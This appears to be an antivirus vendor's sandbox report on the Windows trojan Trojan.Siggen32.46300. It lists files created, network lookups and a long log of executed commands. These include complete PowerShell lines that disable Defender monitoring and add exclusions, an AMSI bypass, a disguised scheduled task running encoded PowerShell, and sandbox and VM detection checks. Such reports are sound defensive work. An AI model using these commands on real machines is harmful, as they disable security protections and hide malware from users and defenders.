Trojan.Siggen32.46300

Technical Information

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\Microsoft\CLR\" -ErrorAction SilentlyContinue"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"%HOMEPATH%\Downloads\" -ErrorAction SilentlyContinue"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"<Current directory>\" -ErrorAction SilentlyContinue"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue;Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue;Set-MpPreference -Disable...

Launches a large number of processes

Terminates or attempts to terminate

the following system processes:

<SYSTEM32>\cmd.exe
<SYSTEM32>\windowspowershell\v1.0\powershell.exe

Disables AMSI.

Modifies file system

Creates the following files

%LOCALAPPDATA%\microsoft\windows\wsus\wuauserv_divfqjpaladk.lock
%LOCALAPPDATA%\microsoft\windows\wsus\wuauclt.log
nul
%LOCALAPPDATA%\microsoft\clr\pre_strm_1780258272859.cs
%LOCALAPPDATA%\microsoft\clr\cscd9a056a976e4d6da18674d2e3f18b1.tmp
%TEMP%\res286e.tmp
%LOCALAPPDATA%\microsoft\clr\pre_strm_1780258272859.exe

Deletes following files that it created itself

%TEMP%\res286e.tmp
%LOCALAPPDATA%\microsoft\clr\cscd9a056a976e4d6da18674d2e3f18b1.tmp
%LOCALAPPDATA%\microsoft\clr\pre_strm_1780258272859.cs

Network activity

Connects to

'ip##pi.com':80

TCP

HTTP GET requests

http://ip##pi.com/line?fi##################
http://ip##pi.com/json/

UDP

DNS ASK ip##pi.com
DNS ASK ny##r.cc

Miscellaneous

Restarts the analyzed sample

Executes the following

'<SYSTEM32>\cmd.exe' /d /s /c "cmd /c "del /f /q \"<Full path to file>:Zone.Identifier\" 2>nul""
'<SYSTEM32>\cmd.exe' /c "del /f /q \"<Full path to file>:Zone.Identifier\" 2>nul"
'<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get uuid"
'<SYSTEM32>\wbem\wmic.exe' csproduct get uuid
'<SYSTEM32>\cmd.exe' /d /s /c "wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv"
'<SYSTEM32>\wbem\wmic.exe' desktopmonitor get ScreenWidth,ScreenHeight /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "wmic logicaldisk where "DriveType=3" get Size /format:csv"
'<SYSTEM32>\wbem\wmic.exe' logicaldisk where "DriveType=3" get Size /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get Name /format:csv"
'<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get Name /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools"
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest"
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF"
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\vmci"
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs"
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL"
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\QEMU" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\QEMU"
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Parallels" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Parallels"
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Wine" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Wine"
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn"
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie"
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Cuckoo" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Cuckoo"
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\JoeBox" 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\JoeBox"
'<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FO CSV /NH"
'<SYSTEM32>\tasklist.exe' /FO CSV /NH
'<SYSTEM32>\cmd.exe' /d /s /c "getmac /FO CSV /NH"
'<SYSTEM32>\getmac.exe' /FO CSV /NH
'<SYSTEM32>\cmd.exe' /d /s /c "driverquery /FO CSV"
'<SYSTEM32>\driverquery.exe' /FO CSV
'<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle""
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle"
'<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content""
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content"
'<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::I...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::IsDebuggerPresent()"
'<SYSTEM32>\cmd.exe' /d /s /c "wmic computersystem get Manufacturer,Model /format:csv"
'<SYSTEM32>\wbem\wmic.exe' computersystem get Manufacturer,Model /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"
'<SYSTEM32>\wbem\wmic.exe' bios get Manufacturer,SMBIOSBIOSVersion /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName""
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName"
'<SYSTEM32>\cmd.exe' /d /s /c "net use"
'<SYSTEM32>\net.exe' use
'<SYSTEM32>\cmd.exe' /d /s /c "tasklist /NH"
'<SYSTEM32>\tasklist.exe' /NH
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"
'<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
'<SYSTEM32>\cmd.exe' /d /s /c "wmic diskdrive get SerialNumber /format:csv"
'<SYSTEM32>\wbem\wmic.exe' diskdrive get SerialNumber /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate""
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate"
'<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get uuid 2>nul"
'%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /nologo /optimize+ /out:%LOCALAPPDATA%\Microsoft\CLR\pre_strm_1780258272859.exe /lib:%WINDIR%\Microsoft.NET\Framework64\v4.0.30319 /r:mscorlib.dll /r:System.dll /r:System.Drawing.dll ...
'<SYSTEM32>\cmd.exe' /d /s /c "cmd /c del "<Full path to file>:Zone.Identifier" 2>nul"
'<SYSTEM32>\cmd.exe' /c del "<Full path to file>:Zone.Identifier"
'<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get Name,AdapterRAM /format:csv 2>nul"
'<SYSTEM32>\wbem\wmic.exe' path win32_VideoController get Name,AdapterRAM /format:csv
'%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES286E.tmp" "%LOCALAPPDATA%\Microsoft\CLR\CSCD9A056A976E4D6DA18674D2E3F18B1.TMP"
'<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get UUID /value 2>nul"
'<SYSTEM32>\wbem\wmic.exe' csproduct get UUID /value
'<SYSTEM32>\cmd.exe' /d /s /c "wmic path softwarelicensingservice get OA3xOriginalProductKey /value 2>nul"
'<SYSTEM32>\wbem\wmic.exe' path softwarelicensingservice get OA3xOriginalProductKey /value
'<SYSTEM32>\cmd.exe' /d /s /c "wmic baseboard get product,manufacturer /format:csv 2>nul"
'<SYSTEM32>\wbem\wmic.exe' baseboard get product,manufacturer /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "wmic bios get smbiosbiosversion,releaseDate /format:csv 2>nul"
'<SYSTEM32>\wbem\wmic.exe' bios get smbiosbiosversion,releaseDate /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "wmic logicaldisk get size,freespace,caption /format:csv 2>nul"
'<SYSTEM32>\wbem\wmic.exe' logicaldisk get size,freespace,caption /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "wmic /namespace:\\root\securitycenter2 path AntiVirusProduct get displayName /value 2>nul"
'<SYSTEM32>\wbem\wmic.exe' /namespace:\\root\securitycenter2 path AntiVirusProduct get displayName /value
'<SYSTEM32>\cmd.exe' /d /s /c "wmic os get caption,version,buildnumber,serialnumber /format:csv 2>nul"
'<SYSTEM32>\wbem\wmic.exe' os get caption,version,buildnumber,serialnumber /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "wmic nicconfig get Description,IPAddress,MACAddress,DefaultIPGateway /format:csv 2>nul"
'<SYSTEM32>\wbem\wmic.exe' nicconfig get Description,IPAddress,MACAddress,DefaultIPGateway /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "wmic startup get caption,command,location /format:csv 2>nul"
'<SYSTEM32>\wbem\wmic.exe' startup get caption,command,location /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s 2>nul"
'<SYSTEM32>\reg.exe' query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s
'<SYSTEM32>\cmd.exe' /d /s /c "wmic diskdrive get InterfaceType,Model,SerialNumber,Size /format:csv 2>nul"
'<SYSTEM32>\wbem\wmic.exe' diskdrive get InterfaceType,Model,SerialNumber,Size /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "net users"
'<SYSTEM32>\net.exe' users
'<SYSTEM32>\net1.exe' users
'<SYSTEM32>\cmd.exe' /d /s /c "net localgroup"
'<SYSTEM32>\net.exe' localgroup
'<SYSTEM32>\net1.exe' localgroup
'<SYSTEM32>\cmd.exe' /d /s /c "net localgroup administrators"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "try{$p=\"HKCU:\Software\Microsoft\Windows Defender\Exclusions\Paths\";if(!(Test-Path $p)){New-Item -Path $p -Force|Out-Null};New-ItemProperty -Path $p -Name \"C:\\Users...
'<SYSTEM32>\net.exe' localgroup administrators
'<SYSTEM32>\net1.exe' localgroup administrators
'<SYSTEM32>\cmd.exe' /d /s /c "schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFx1c2VyXFxBcHBEYXRhXFxMb2NhbFxcTWljcm9zb2Z0XFxFZGdlVXBkYXRlIiwiQzpcXHJ4bmhmZHJxIiwi...
'<SYSTEM32>\schtasks.exe' /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFx1c2VyXFxBcHBEYXRhXFxMb2NhbFxcTWljcm9zb2Z0XFxFZGdlVXBkYXRlIiwiQzpcXHJ4bmhmZHJxIiwiQzpcXFVzZXJzXFx1c2V...
'<SYSTEM32>\cmd.exe' /d /s /c "wmic desktopmonitor get ScreenHeight,ScreenWidth /format:csv 2>nul"
'<SYSTEM32>\wbem\wmic.exe' desktopmonitor get ScreenHeight,ScreenWidth /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "net share"
'<SYSTEM32>\net.exe' share
'<SYSTEM32>\net1.exe' share
'<SYSTEM32>\cmd.exe' /d /s /c "wmic desktopmonitor get MonitorType,Name /format:csv 2>nul"
'<SYSTEM32>\wbem\wmic.exe' desktopmonitor get MonitorType,Name /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "wmic memorychip get Capacity,Manufacturer,PartNumber,Speed /format:csv 2>nul"
'<SYSTEM32>\wbem\wmic.exe' memorychip get Capacity,Manufacturer,PartNumber,Speed /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "wmic cpu get MaxClockSpeed,Name,NumberOfCores,NumberOfLogicalProcessors /format:csv 2>nul"
'<SYSTEM32>\wbem\wmic.exe' cpu get MaxClockSpeed,Name,NumberOfCores,NumberOfLogicalProcessors /format:csv
'<SYSTEM32>\cmd.exe' /d /s /c "cmd /c "del /f /q \"<Full path to file>:Zone.Identifier\" 2>nul""' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get uuid"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic desktopmonitor get ScreenWidth,ScreenHeight /format:csv"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic logicaldisk where "DriveType=3" get Size /format:csv"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get Name /format:csv"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\VMware, Inc.\VMware Tools" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxGuest" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VBoxSF" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmci" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\vmhgfs" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\VMMEMCTL" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\QEMU" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Parallels" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Wine" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SYSTEM\CurrentControlSet\Services\xenevtchn" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Sandboxie" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Cuckoo" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\JoeBox" 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "tasklist /FO CSV /NH"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "getmac /FO CSV /NH"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "driverquery /FO CSV"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "Get-Process|Where-Object{$_.MainWindowTitle}|Select-Object -ExpandProperty MainWindowTitle""' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "(Invoke-WebRequest -Uri 'http://ip-api.com/line?fields=query,hosting' -UseBasicParsing -TimeoutSec 5).Content""' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "Add-Type @'using System;using System.Runtime.InteropServices;public class D{[DllImport(\"kernel32\")]public static extern bool IsDebuggerPresent();}'@;[D]::I...' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic computersystem get Manufacturer,Model /format:csv"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic bios get Manufacturer,SMBIOSBIOSVersion /format:csv"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "(Get-Process -Id $PID).Parent.ProcessName""' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "net use"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "tasklist /NH"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic diskdrive get SerialNumber /format:csv"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "powershell -NoP -Command "(Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion').InstallDate""' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get uuid 2>nul"' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\Microsoft\CLR\" -ErrorAction SilentlyContinue"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v4.0.30319\csc.exe' /noconfig /nologo /optimize+ /out:%LOCALAPPDATA%\Microsoft\CLR\pre_strm_1780258272859.exe /lib:%WINDIR%\Microsoft.NET\Framework64\v4.0.30319 /r:mscorlib.dll /r:System.dll /r:System.Drawing.dll ...' (with hidden window)
'<Full path to file>' C:\snapshot\12vt\panel\server\build_temp\build_1780172999644_wgxowy\index.js' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "cmd /c del "<Full path to file>:Zone.Identifier" 2>nul"' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiInitFailed\",\"NonPublic,Static\").SetValue($null,$true);[Ref].Assembly.GetType(\"Syst...' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic path win32_VideoController get Name,AdapterRAM /format:csv 2>nul"' (with hidden window)
'%WINDIR%\microsoft.net\framework64\v4.0.30319\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES286E.tmp" "%LOCALAPPDATA%\Microsoft\CLR\CSCD9A056A976E4D6DA18674D2E3F18B1.TMP"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic csproduct get UUID /value 2>nul"' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"%HOMEPATH%\Downloads\" -ErrorAction SilentlyContinue"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic path softwarelicensingservice get OA3xOriginalProductKey /value 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic baseboard get product,manufacturer /format:csv 2>nul"' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Add-MpPreference -ExclusionPath \"<Current directory>\" -ErrorAction SilentlyContinue"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic bios get smbiosbiosversion,releaseDate /format:csv 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic logicaldisk get size,freespace,caption /format:csv 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic /namespace:\\root\securitycenter2 path AntiVirusProduct get displayName /value 2>nul"' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Set-MpPreference -DisableRealtimeMonitoring $true -ErrorAction SilentlyContinue"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic os get caption,version,buildnumber,serialnumber /format:csv 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic nicconfig get Description,IPAddress,MACAddress,DefaultIPGateway /format:csv 2>nul"' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "Set-MpPreference -SubmitSamplesConsent NeverSend -ErrorAction SilentlyContinue;Set-MpPreference -MAPSReporting 0 -ErrorAction SilentlyContinue;Set-MpPreference -Disable...' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic startup get caption,command,location /format:csv 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /s 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic diskdrive get InterfaceType,Model,SerialNumber,Size /format:csv 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "net users"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "net localgroup"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "net localgroup administrators"' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -W Hidden -Command "try{$p=\"HKCU:\Software\Microsoft\Windows Defender\Exclusions\Paths\";if(!(Test-Path $p)){New-Item -Path $p -Force|Out-Null};New-ItemProperty -Path $p -Name \"C:\\Users...' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "schtasks /create /tn "MsEdgeUpdateSvcExcl" /tr "powershell -NoP -W Hidden -Enc JGU9QCgiQzpcXFVzZXJzXFx1c2VyXFxBcHBEYXRhXFxMb2NhbFxcTWljcm9zb2Z0XFxFZGdlVXBkYXRlIiwiQzpcXHJ4bmhmZHJxIiwi...' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic desktopmonitor get ScreenHeight,ScreenWidth /format:csv 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "net share"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic desktopmonitor get MonitorType,Name /format:csv 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic memorychip get Capacity,Manufacturer,PartNumber,Speed /format:csv 2>nul"' (with hidden window)
'<SYSTEM32>\cmd.exe' /d /s /c "wmic cpu get MaxClockSpeed,Name,NumberOfCores,NumberOfLogicalProcessors /format:csv 2>nul"' (with hidden window)

Uses NTFS alternate data streams

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial